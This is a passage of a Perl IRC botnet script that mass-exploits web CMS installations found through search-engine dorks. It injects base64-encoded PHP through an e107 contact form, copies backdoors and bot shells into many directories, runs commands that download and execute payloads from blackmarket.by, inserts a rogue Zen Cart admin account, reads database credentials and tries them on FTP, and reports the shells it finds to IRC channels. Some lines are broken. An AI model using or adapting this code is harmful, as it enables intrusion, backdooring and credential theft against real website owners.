  1806.                         &get_content("http://".$site."e107_plugins/links_page/foto83.pl");
  1807.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1808.                     }
  1809.                     elsif ($res =~ /maknyus_efmmtu/) {
  1810.                         &get_content("http://".$site."e107_files/mediagallery/media_thumbs/foto81.php");
  1811.                         &get_content("http://".$site."e107_files/mediagallery/media_thumbs/foto82.php");
  1812.                         &get_content("http://".$site."e107_files/mediagallery/media_thumbs/foto83.pl");
  1813.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1814.                     }
  1815.                     else {
  1816.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1817.                     }
  1818.                     &e107_spread_query($test);
  1819.                     sleep(2);
  1820.                 } exit; } sleep(2);
  1821.             }
  1822.             elsif ($html =~ /sUxCrew<br>sys:(.+?)<br>/) {
  1823.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1824.                     my $sys = $1;
  1825.                     my $upload = 'if(@copy("'.$backdoor.'","pro.php")) { echo "mantab";@copy("'.$backdoor2.'","prod.php");@copy("'.$botshell.'","foto81.php");@copy("'.$botshell2.'","foto82.php");@copy("'.$botshell3.'","foto83.pl");} elseif(@copy("'.$backdoor.'","themes/pro.php")) { echo "moncrot_dthem";@copy("'.$backdoor2.'","themes/prod.php");@copy("'.$botshell.'","themes/foto81.php");@copy("'.$botshell2.'","themes/foto82.php");@copy("'.$botshell3.'","themes/foto83.pl");} elseif(@copy("'.$backdoor.'","plugins/pro.php")) { echo "moncrot_dplug";@copy("'.$backdoor2.'","plugins/prod.php");@copy("'.$botshell.'","plugins/foto81.php");@copy("'.$botshell2.'","plugins/foto82.php");@copy("'.$botshell3.'","plugins/foto83.pl");} elseif(@copy("'.$backdoor.'","images/pro.php")) { echo "moncrot_dima";@copy("'.$backdoor2.'","images/prod.php");@copy("'.$botshell.'","images/foto81.php");@copy("'.$botshell2.'","images/foto82.php");@copy("'.$botshell3.'","images/foto83.pl");} elseif(@copy("'.$backdoor.'","plugins/log/logs/pro.php")) { echo "moncrot_dplog";@copy("'.$backdoor2.'","plugins/log/logs/prod.php");@copy("'.$botshell.'","plugins/log/logs/foto81.php");@copy("'.$botshell2.'","plugins/log/logs/foto82.php");@copy("'.$botshell3.'","plugins/log/logs/foto83.pl");} elseif(@copy("'.$backdoor.'","files/public/avatars/pro.php")) { echo "moncrot_dflica";@copy("'.$backdoor2.'","files/public/avatars/prod.php");@copy("'.$botshell.'","files/public/avatars/foto81.php");@copy("'.$botshell2.'","files/public/avatars/foto82.php");@copy("'.$botshell3.'","files/public/avatars/foto83.pl");} elseif(@copy("'.$backdoor.'","main/pro.php")) { echo "moncrot_dma";@copy("'.$backdoor2.'","main/prod.php");@copy("'.$botshell.'","main/foto81.php");@copy("'.$botshell2.'","main/foto82.php");@copy("'.$botshell3.'","main/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_themes/pro.php")) { echo "moncrot_ethem";@copy("'.$backdoor2.'","e107_themes/prod.php");@copy("'.$botshell.'","e107_themes/foto81.php");@copy("'.$botshell2.'","e107_themes/foto82.php");@copy("'.$botshell3.'","e107_themes/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_plugins/pro.php")) { echo "moncrot_eplug";@copy("'.$backdoor2.'","e107_plugins/prod.php");@copy("'.$botshell.'","e107_plugins/foto81.php");@copy("'.$botshell2.'","e107_plugins/foto82.php");@copy("'.$botshell3.'","e107_plugins/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_images/pro.php")) { echo "moncrot_eima";@copy("'.$backdoor2.'","e107_images/prod.php");@copy("'.$botshell.'","e107_images/foto81.php");@copy("'.$botshell2.'","e107_images/foto82.php");@copy("'.$botshell3.'","e107_images/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_plugins/log/logs/pro.php")) { echo "moncrot_eplog";@copy("'.$backdoor2.'","e107_plugins/log/logs/prod.php");@copy("'.$botshell.'","e107_plugins/log/logs/foto81.php");@copy("'.$botshell2.'","e107_plugins/log/logs/foto82.php");@copy("'.$botshell3.'","e107_plugins/log/logs/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_files/public/avatars/pro.php")) { echo "moncrot_eflica";@copy("'.$backdoor2.'","e107_files/public/avatars/prod.php");@copy("'.$botshell.'","e107_files/public/avatars/foto81.php");@copy("'.$botshell2.'","e107_files/public/avatars/foto82.php");@copy("'.$botshell3.'","e107_files/public/avatars/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_plugins/sitebutton_menu/pro.php")) { echo "moncrot_estm";@copy("'.$backdoor2.'","e107_plugins/sitebutton_menu/prod.php");@copy("'.$botshell.'","e107_plugins/sitebutton_menu/foto81.php");@copy("'.$botshell2.'","e107_plugins/sitebutton_menu/foto82.php");@copy("'.$botshell3.'","e107_plugins/sitebutton_menu/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_plugins/links_page/pro.php")) { echo "moncrot_elipa";@copy("'.$backdoor2.'","e107_plugins/links_page/prod.php");@copy("'.$botshell.'","e107_plugins/links_page/foto81.php");@copy("'.$botshell2.'","e107_plugins/links_page/foto82.php");@copy("'.$botshell3.'","e107_plugins/links_page/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_files/mediagallery/media_thumbs/pro.php")) { echo "moncrot_efmmtu";@copy("'.$backdoor2.'","e107_files/mediagallery/media_thumbs/prod.php");@copy("'.$botshell.'","e107_files/mediagallery/media_thumbs/foto81.php");@copy("'.$botshell2.'","e107_files/mediagallery/media_thumbs/foto82.php");@copy("'.$botshell3.'","e107_files/mediagallery/media_thumbs/foto83.pl");}';
  1826.                     my $res = &e107_rce_query($test,encode_base64($upload));
  1827.                     if ($res =~ /mantab/) {
  1828.                         &get_content("http://".$site."foto81.php");
  1829.                         &get_content("http://".$site."foto82.php");
  1830.                         &get_content("http://".$site."foto83.pl");
  1831.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1832.                     }
  1833.                     if ($res =~ /moncrot_dthem/) {
  1834.                         &get_content("http://".$site."themes/foto81.php");
  1835.                         &get_content("http://".$site."themes/foto82.php");
  1836.                         &get_content("http://".$site."themes/foto83.pl");
  1837.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1838.                     }
  1839.                     if ($res =~ /moncrot_dplug/) {
  1840.                         &get_content("http://".$site."plugins/foto81.php");
  1841.                         &get_content("http://".$site."plugins/foto82.php");
  1842.                         &get_content("http://".$site."plugins/foto83.pl");
  1843.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1844.                     }
  1845.                     if ($res =~ /moncrot_dima/) {
  1846.                         &get_content("http://".$site."images/foto81.php");
  1847.                         &get_content("http://".$site."images/foto82.php");
  1848.                         &get_content("http://".$site."images/foto83.pl");
  1849.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1850.                     }
  1851.                     if ($res =~ /moncrot_dplog/) {
  1852.                         &get_content("http://".$site."plugins/log/logs/foto81.php");
  1853.                         &get_content("http://".$site."plugins/log/logs/foto82.php");
  1854.                         &get_content("http://".$site."plugins/log/logs/foto83.pl");
  1855.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1856.                     }
  1857.                     if ($res =~ /moncrot_dflica/) {
  1858.                         &get_content("http://".$site."files/public/avatars/foto81.php");
  1859.                         &get_content("http://".$site."files/public/avatars/foto82.php");
  1860.                         &get_content("http://".$site."files/public/avatars/foto83.pl");
  1861.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1862.                     }
  1863.                     if ($res =~ /moncrot_dma/) {
  1864.                         &get_content("http://".$site."main/foto81.php");
  1865.                         &get_content("http://".$site."main/foto82.php");
  1866.                         &get_content("http://".$site."main/foto83.pl");
  1867.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1868.                     }
  1869.                     if ($res =~ /moncrot_ethem/) {
  1870.                         &get_content("http://".$site."e107_themes/foto81.php");
  1871.                         &get_content("http://".$site."e107_themes/foto82.php");
  1872.                         &get_content("http://".$site."e107_themes/foto83.pl");
  1873.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1874.                     }
  1875.                     if ($res =~ /moncrot_eplug/) {
  1876.                         &get_content("http://".$site."e107_plugins/foto81.php");
  1877.                         &get_content("http://".$site."e107_plugins/foto82.php");
  1878.                         &get_content("http://".$site."e107_plugins/foto83.pl");
  1879.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1880.             }
  1881.                     if ($res =~ /moncrot_eima/) {
  1882.                         &get_content("http://".$site."e107_images/foto81.php");
  1883.                         &get_content("http://".$site."e107_images/foto82.php");
  1884.                         &get_content("http://".$site."e107_images/foto83.pl");
  1885.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1886.                     }
  1887.                     if ($res =~ /moncrot_eplog/) {
  1888.                         &get_content("http://".$site."e107_plugins/log/logs/foto81.php");
  1889.                         &get_content("http://".$site."e107_plugins/log/logs/foto82.php");
  1890.                         &get_content("http://".$site."e107_plugins/log/logs/foto83.pl");
  1891.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1892.                    }
  1893.                     if ($res =~ /moncrot_eflica/) {
  1894.                         &get_content("http://".$site."e107_files/public/avatars/foto81.php");
  1895.                         &get_content("http://".$site."e107_files/public/avatars/foto82.php");
  1896.                         &get_content("http://".$site."e107_files/public/avatars/foto83.pl");
  1897.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1898.                     }
  1899.                     if ($res =~ /moncrot_ema/) {
  1900.                         &get_content("http://".$site."e107_main/foto81.php");
  1901.                         &get_content("http://".$site."e107_main/foto82.php");
  1902.                         &get_content("http://".$site."e107_main/foto83.pl");
  1903.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1904.                     }
  1905.                     if ($res =~ /moncrot_estm/) {
  1906.                         &get_content("http://".$site."e107_plugins/sitebutton_menu/foto81.php");
  1907.                         &get_content("http://".$site."e107_plugins/sitebutton_menu/foto82.php");
  1908.                         &get_content("http://".$site."e107_plugins/sitebutton_menu/foto83.pl");
  1909.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1910.                     }
  1911.                     if ($res =~ /moncrot_elipa/) {
  1912.                         &get_content("http://".$site."e107_plugins/links_page/foto81.php");
  1913.                         &get_content("http://".$site."e107_plugins/links_page/foto82.php");
  1914.                         &get_content("http://".$site."e107_plugins/links_page/foto83.pl");
  1915.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1916.                     }
  1917.                     if ($res =~ /moncrot_efmmtu/) {
  1918.                         &get_content("http://".$site."e107_files/mediagallery/media_thumbs/foto81.php");
  1919.                         &get_content("http://".$site."e107_files/mediagallery/media_thumbs/foto82.php");
  1920.                         &get_content("http://".$site."e107_files/mediagallery/media_thumbs/foto83.pl");
  1921.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1922.                     }
  1923.                     else {
  1924.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4contact.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1925.                     }
  1926.                 } exit; } sleep(2);
  1927.             }
  1928.         }
  1929.     }
  1930. }
  1931.  
  1932. sub e107_rce_query() {
  1933.     my $url = $_[0];
  1934.     my $code = $_[1];
  1935.     my $req = HTTP::Request->new(POST => $url);
  1936.     $req->content_type('application/x-www-form-urlencoded');
  1937.     $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  1938.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1939.     $ua->timeout(7);
  1940.     my $res = $ua->request($req);
  1941.     return $res->content;
  1942. }
  1943.  
  1944. sub e107_spread_query() {
  1945.     my $url = $_[0];
  1946.     my $code = "cd /tmp;perl foto83.pl;wget http://blackmarket.by/theme/mild.txt;perl mild.txt;lwp-download http://blackmarket.by/theme/mild.txt;perl mild.txt;curl -O http://blackmarket.by/theme/mild.txt;perl mild.txt;fetch http://blackmarket.by/theme/mild.txt;perl mild.txt;chmod 755 mild.txt;perl mild.txt;wget http://blackmarket.by/images/sad.gif;php sad.gif;lwp-download http://blackmarket.by/images/sad.gif;php sad.gif;curl -O http://blackmarket.by/images/sad.gif;php sad.gif;fetch http://blackmarket.by/images/sad.gif;pphp sad.gif";
  1947.     my $req = HTTP::Request->new(POST => $url);
  1948.     $req->content_type('application/x-www-form-urlencoded');
  1949.     $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  1950.     #$req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  1951.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1952.     $ua->timeout(7);
  1953.     my $res = $ua->request($req);
  1954. }
  1955.  
  1956. sub e107_spread_query2() {
  1957.     my $url = $_[0];
  1958.     my $code = "cd /tmp;wget http://blackmarket.by/theme/perl.txt;perl perl.txt irc.telkom.name;lwp-download http://blackmarket.by/theme/perl.txt;perl perl.txt irc.ds.my;curl -O http://blackmarket.by/theme/perl.txt;perl perl.txt irc.telkom.name;fetch http://blackmarket.by/theme/perl.txt;perl perl.txt irc.telkom.name;chmod 755 perl.txt;perl perl.txt irc.telkom.name;rm -fr perl.txt";
  1959.     my $req = HTTP::Request->new(POST => $url);
  1960.     $req->content_type('application/x-www-form-urlencoded');
  1961.     $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  1962.     #$req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  1963.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1964.     $ua->timeout(7);
  1965.     my $res = $ua->request($req);
  1966. }      
  1967.  
  1968.  
  1969.  
  1970.  
  1971. sub zen_exploit() {
  1972.     my $chan = $_[0];
  1973.     my $bug = $_[1];
  1974.     my $dork = $_[2];
  1975.     my $engine = $_[3];
  1976.     my $nick = $_[4];
  1977.     my $count = 0;
  1978.         my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo,$nick);
  1979.         my $num = scalar(@totexploit);
  1980.         if ($num > 0){
  1981.         foreach my $site(@totexploit){
  1982.             $count++;
  1983.         if ($count == $num-1) { &msg("$chan","$zenlogo4,1$engine0,1 Searching..."); }
  1984.                    my $shell = "http://".$site."images/ipays.php";
  1985.                    my $test = "http://".$site."admin/product.php/password_forgotten.php?action=new_product_preview";
  1986.                    my $html = &zen_upl_query($test);
  1987.                         if ($html =~ /<td class=\"messageStackSuccess\"><img src="images\/icons\/success\.gif/) {
  1988.                         &zen_install($chan,$site,$engine);
  1989.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1990.                             my $res = &get_content($shell);
  1991.                             if ($res =~ /ipays- alwaly/) {
  1992.                             &msg("$chan","$zenlogo4,1$engine0,1 Shell4,1 ".$shell.""); 
  1993.                             &msg("$admin","$zenlogo4,1$engine0,1 Shell4,1 ".$shell."");                    
  1994.                         sleep(1);
  1995.                     }
  1996.                     else {
  1997.                     &msg("$chan","$zenlogo4$engine4 VULN14 http://".$site."");
  1998.                     }
  1999.                     sleep(1);
  2000.                 } exit; } sleep(1);
  2001.             }
  2002.         }
  2003.     }
  2004. }
  2005.  
  2006. sub zen_upl_query() {
  2007.     my $url = $_[0];
  2008.     my $ua  = LWP::UserAgent->new(agent => $uagent);
  2009.     $ua->timeout(10);
  2010.     my $req = $ua->post($url,
  2011.       Content_Type=>'multipart/form-data',
  2012.       Content=>["products_image"=>["ipays.php"]]);
  2013.     return $req->content;
  2014. }
  2015. sub zen2_exploit() {
  2016.     my $chan = $_[0];
  2017.     my $bug = $_[1];
  2018.     my $dork = $_[2];
  2019.     my $engine = $_[3];
  2020.     my $nick = $_[4];
  2021.     my $count = 0;
  2022.         my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo,$nick);
  2023.         my $num = scalar(@totexploit);
  2024.         if ($num > 0){
  2025.         foreach my $site(@totexploit){
  2026.             $count++;
  2027.         if ($count == $num-1) { &msg("$chan","$zenlogo4,1$engine0,1 Searching..."); }
  2028.                    my $shell = "http://".$site."images/ipays.php";
  2029.                    my $test = "http://".$site."admin/banner_manager.php/password_forgotten.php?action=insert";
  2030.                    my $html = &zen2_upl_query($test);
  2031.                         if ($html =~ /<td class=\"messageStackSuccess\"><img src="images\/icons\/success\.gif/) {
  2032.                         &zen_install($chan,$site,$engine);
  2033.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2034.                             my $res = &get_content($shell);
  2035.                             if ($res =~ /ipays- alwaly/) {
  2036.                             &msg("$chan","$zenlogo4,1$engine0,1 Shell4,1 ".$shell.""); 
  2037.                             &msg("$admin","$zenlogo4,1$engine0,1 Shell4,1 ".$shell."");
  2038.                         sleep(1);
  2039.                     }
  2040.                     else {
  2041.                     &msg("$chan","$zenlogo4,1$engine0,1 VULN4,1 http://".$site."");
  2042.                     }
  2043.                     sleep(1);
  2044.                 } exit; } sleep(1);
  2045.             }
  2046.         }
  2047.     }
  2048. }
  2049. sub zen2_upl_query() {
  2050.     my $url = $_[0];
  2051.     my $ua  = LWP::UserAgent->new(agent => $uagent);
  2052.     $ua->timeout(10);
  2053.     my $req = $ua->post($url,
  2054.       Content_Type=>'multipart/form-data',
  2055.       Content=>["banners_image"=>["ipays.php"]]);
  2056.     return $req->content;
  2057. }
  2058.  
  2059. sub zen_install() {
  2060.     my $chan   = $_[0];
  2061.     my $site   = $_[1];
  2062.     my $engine = $_[2];
  2063.          my $test = "http://".$site."admin/sqlpatch.php/password_forgotten.php?action=execute";
  2064.          my $html   = &get_content($test);
  2065.      if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2066.          if ($html =~ /zc_install/){
  2067.             &zen_install_query($chan,$site,$test,$engine);
  2068.         }
  2069. }
  2070.  
  2071. sub zen_install_query() {
  2072.     my $chan = $_[0];
  2073.     my $url = $_[1];
  2074.     my $test = $_[2];
  2075.     my $engine = $_[3];
  2076.     my $code  = "INSERT INTO admin (admin_id, admin_name, admin_email, admin_pass) VALUES (2283,'magic','localhost','617ec22fbb8f201c366e9848c0eb6925:87');";
  2077.     my $req = HTTP::Request->new(POST => $test);
  2078.     $req->content_type("application/x-www-form-urlencoded");
  2079.     $req->content("query_string=".$code);
  2080.     my $ua = LWP::UserAgent->new(agent => $uagent);
  2081.     $ua->timeout(3);
  2082.     my $res = $ua->request($req);
  2083.     my $data = $res->as_string;
  2084.     if ( $data =~ /1 statements processed/i ) {
  2085.         &msg("$chan","$zenlogo(4,1$engine0,1) 4,1ADMIN LOGIN FOUND");
  2086.         &msg("$chanxxx","$zenlogo4,1$engine0,1 ADMIN LOGIN4,1 http://".$url."admin/login.php 0,1User: magic Pass: wew");
  2087.     }
  2088.     elsif ( $data =~ /Duplicate entry/i ) {
  2089.         &msg("$chan","$zenlogo(4,1$engine0,1) 4,1ADMIN LOGIN FOUND");
  2090.         &msg("$chanxxx","$zenlogo4,1$engine0,1 ADMIN LOGIN4,1 http://".$url."admin/login.php 0,1User: magic Pass: wew");
  2091. }
  2092. sub zen_sql() {
  2093.     my $chan = $_[0];
  2094.     my $bug = $_[1];
  2095.     my $dork = $_[2];
  2096.     my $engine = $_[3];
  2097.     my $count = 0;
  2098.     my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
  2099.     my $num = scalar(@list);
  2100.     if ($num > 0) {
  2101.         foreach my $site (@list) {
  2102.             $count++;
  2103.             if ($count == $num-1) { &msg("$chan","$zenlogo4,1(0,1@4,1$engine0,1)4,1 Scan finish for "); }
  2104.                 my $vuln  = "http://".$site."extras/ipn_test_return.php";
  2105.                 my $target  = &get_content($vuln);
  2106.                 if ($target =~ /failed to open stream/){
  2107.                 my $dir   ="";
  2108.                 if ($target =~ m/in <b>(.*?)\/extras\/ipn_test_return.php<\/b>/) {$dir = $1;}
  2109.                 my $data   = "http://".$site."/extras/curltest.php?url=file:///".$dir."/includes/configure.php";
  2110.                 my $sql  = &get_content($data);
  2111.                 my $sql  = &get_content($data);
  2112.                 if ($sql =~ m/'DB_SERVER', '(.*)'/g) {$serper = $1;}
  2113.                 if ($sql =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {$user = $1;}
  2114.                 if ($sql =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {$pass = $1;}
  2115.                 if ($sql =~ m/'DB_DATABASE', '(.*)'/g) {$dty = $1;}
  2116.                  &msg("$chan","$zenlogo4,1(0,1@4,1$engine0,1)4,1 http://".$site." ( 4,1$serper:0,1$user:4,1$pass:0,1$dty )");
  2117.                            if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
  2118.                            my $ceklog = "ftp://".$usr.":".$pass."@".$site."";
  2119.                            my $ceklog2 = "ftp://".$user.":".$pass."@".$site."";
  2120.                            my $ftplog = &get_content($ceklog);
  2121.                            my $ftplog2 = &get_content($ceklog2);
  2122.                            if ($ftplog =~ /ftp/) {
  2123.                            &msg("$admin","4,1[+]$zenlogo0,1$engine 4,1FTP[+] 0,1ftp://".$site." [+]username:".$usr." [+]password:".$pass."");
  2124.                            &msg("$chan","4,1[+]$$zenlogo0,1$engine 4,1FTP[+]Success send To Admin");
  2125.                            }
  2126.                            if ($ftplog2 =~ /ftp/) {
  2127.                            &msg("$admin","4,1[+]$$zenlogo0,1$engine 4,1FTP[+] 0,1ftp://".$site." [+]username:".$user." [+]password:".$pass."");
  2128.                            &msg("$chan","4,1[+]$$zenlogo0,1$engine 4,1FTP[+]Success send To Admin");
  2129.                             }
  2130.                             my $hosts = "http://".$site;
  2131.                             if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  2132.                                 $host = $2;
  2133.                                     &dbi_connect($host,$user,$pass,$dbname,$chan,$engine,$zenlogo);sleep(1);
  2134.                                     &msg("$chan","!ftp ".$host." ".$user." ".$pass."");
  2135.                                         if ($dbname =~ /_/) {@users = split("_",$dbname); $dbuser = $users[0]; }
  2136.                                             &ftp_connect($url,$host,$dbuser,$pass,$chan,$engine,$zenlogo);sleep(1);
  2137.                                             &msg("$chan","!ftp ".$host." ".$dbuser." ".$pass."");
  2138.             }   }
  2139.         }
  2140.     }
  2141. }
  2142. sub fab_exploit() {
  2143.     my $chan = $_[0];
  2144.     my $bug = $_[1];
  2145.     my $dork = $_[2];
  2146.     my $engine = $_[3];
  2147.     my $nick = $_[4];
  2148.     my $count = 0;
  2149.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$fablogo,$nick);
  2150.     my $num = scalar(@totexploit);
  2151.     if ($num > 0){
  2152.         foreach my $site(@totexploit){
  2153.         $count++;
  2154.         if ($count == $num-1) { &msg("$chan","$fablogo15[2@12$engine15]14 Scan finish"); }
  2155.         my $test = "http://".$site.$bug;
  2156.         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2157.         my $xmlrpc = "http://".$site."media/arhy.PHP";
  2158.         my $blackunix = "http://".$site."logs/arhy.php";
  2159.         my $bot = "http://".$site."media/arhy.php";
  2160.         my $box = "http://".$site."media/arhy.php";
  2161.         my $cz  = &get_content($test); sleep(2);
  2162.         if ($cz =~ /Import CSV file/i){
  2163.         my $bogex = $fabfile."?url=".$site;
  2164.         &get_content($bogex); sleep(3);
  2165.         my $check = &get_content($xmlrpc."?clone"); &get_content($box); &get_content($bot); &get_content($bot);
  2166.         if ($check =~ /4nt- Crew/i){
  2167.         my $safe = "";
  2168.         my $os = "";
  2169.         my $uid = "";
  2170.         my $ftphost = "";
  2171.         my $ftpuser = "";
  2172.         my $ftppass = "";
  2173.         my $ftpopen = "";
  2174.         if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2175.         if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2176.         if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2177.         my $chmod = &get_content($blackunix);sleep(1);
  2178.         if ($chmod =~ /4nt- Crew/i){
  2179.         &msg("$base","$fablogo15[2@12$engine15][2@12SheLL15]3 ".$blackunix." 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  2180.         &msg("$nick","$fablogo15[2@12$engine15][2@12SheLL15]3 ".$blackunix." 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  2181.         &msg("$chan","$fablogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  2182.         } else {
  2183.         &msg("$base","$fablogo15[2@12$engine15][2@12SheLL15]3 ".$xmlrpc." 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  2184.         &msg("$nick","$fablogo15[2@12$engine15][2@12SheLL15]3 ".$xmlrpc." 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  2185.         &msg("$chan","$fablogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  2186.         }
  2187.     }
  2188. }
  2189.             } exit; }
  2190.             }
  2191.         }
  2192. }
  2193. sub jce_exploit() {
  2194.     my $chan = $_[0];
  2195.     my $bug = $_[1];
  2196.     my $dork = $_[2];
  2197.     my $engine = $_[3];
  2198.     my $nick = $_[4];
  2199.     my $count = 0;
  2200.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jcelogo,$nick);
  2201.     my $num = scalar(@totexploit);
  2202.     if ($num > 0){
  2203.         foreach my $site(@totexploit){
  2204.             $count++;
  2205.         if ($count == $num-1) { &msg("$chan","$jcelogo4,1$engine0,1 Searching..."); }
  2206.  
  2207.                         my $petx = "http://".$site."images/stories/petx.php?baca";
  2208. my $petx2 = "cruck://".$site."images/stories/petx.php";
  2209.                         my $explore = "http://".$site."images/stories/explore.php?baca";
  2210. my $explore2 = "http://".$site."images/stories/explore.php";
  2211.  
  2212. my $colong = &get_content($petx); sleep(2);
  2213. my $colong2 = &get_content($explore); sleep(2);
  2214. my $safe = "";
  2215. my $os = "";
  2216. if($colong =~ /Peterson - Shell/i){
  2217. if ($colong =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  2218.     if ($colong =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  2219.     if ($colong =~ m/Uid : (.*?)<\/br>/) {$id = $1;}
  2220.                      
  2221. &msg("$admin","$jcelogo4,1$engine 0,1$petx2 $safe $os "); sleep(2);
  2222. &msg("$chan","$jcelogo4,1 send to $nick 0,1 $safe $os "); sleep(2);
  2223.  
  2224. &carismtp($petx,$chan,$site,$engine,$jcelogo);
  2225.     }
  2226. if($colong =~ /HACKERMIND/i){  
  2227. if ($colong =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  2228.     if ($colong =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  2229.     if ($colong =~ m/Uid : (.*?)<\/br>/) {$id = $1;}
  2230.                      
  2231. &msg("$admin","$jcelogo4,1$engine 0,1$petx2 $safe $os "); sleep(2);                   
  2232. &msg("$chan","$jcelogo4,1 send to 0,1$safe $os  "); sleep(2);
  2233. &os3($petx,$chan,$engine,$jcelogo,$nick);
  2234. &carismtp($petx,$chan,$site,$engine,$jcelogo);
  2235.     }
  2236.  
  2237. if($colong2 =~ /UnKnown - Simple Shell/i){
  2238.  
  2239. if ($colong2 =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  2240.     if ($colong2 =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  2241.     if ($colong2 =~ m/Uid : (.*?)<\/br>/) {$id = $1;}
  2242.                      
  2243. &msg("$admin","$jcelogo4,1$engine 0,1$explore2 $safe $os "); sleep(2);                        
